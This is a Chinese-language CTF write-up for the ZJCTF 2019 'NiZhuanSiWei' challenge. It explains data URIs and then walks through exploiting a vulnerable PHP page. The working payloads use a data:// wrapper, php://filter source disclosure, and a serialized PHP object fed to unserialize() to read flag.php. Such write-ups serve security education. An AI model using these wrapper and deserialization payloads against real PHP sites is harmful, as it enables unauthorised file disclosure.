通过这个题来记录几个绕过技巧
题目链接:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei
相关知识点:
- data协议写入文件
- php协议读取源码
- php序列化
Data URI
Data URI scheme 简称 Data URI,经常会被错误地写成 data URLs。即前缀为data:协议的的URL,其允许内容创建者向文档中嵌入小文件。
语法: data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤
①协议头,它标识这个内容为一个 data URI 资源。
②MIME类型,text、image、audio、video、application
③[;charset=<charset>],源文本的字符集编码方式,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx
④ 数据编码方式(默认US-ASCII,BASE64两种)
⑤ 编码后的数据
应用实例
1.在Html的Img对象中使用
<img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />
2.在Css的background-image属性中使用
div.image {
width:100px;
height:100px;
background-image:url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...);
}
3.在Html的css链接处使用
<link rel="stylesheet" type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />
4.在Html的javaScript链接处使用
<script src="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." type="text/javascript"></script>
5.data RUI scheme也可以直接在浏览器的地址栏中输入进行访问 ,这道题目就是这种场景下的使用实例。
data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB
题解
题目上来给了一段源码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先分析一下,有三个参数是可控的:$text、$file、$password。源码通过一层一层过滤来阻止输出$password。
第一层过滤:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
需要传入参数$text,文件$text的内容必须是 "welcome to the zjctf",这里可以使用data协议来实现。payload如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里也可以不用base64,使用base64是用来绕过某些过滤。

第二层过滤:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}
直接访问useless.php看不到源码,需要想办法看到useless.php的源码,preg_match函数对"/flag/"进行了过滤,说明不能直接将useless.php赋值给$file,这里可以使用filter协议进行读取文件源码,payload如下:
file=php://filter/convert.base64-encode/resource=useless.php
得到一串base64编码,解码之后就是useless.php内容:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三层过滤就是对Flag类进行一个序列化,传入参数password就可以了。
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

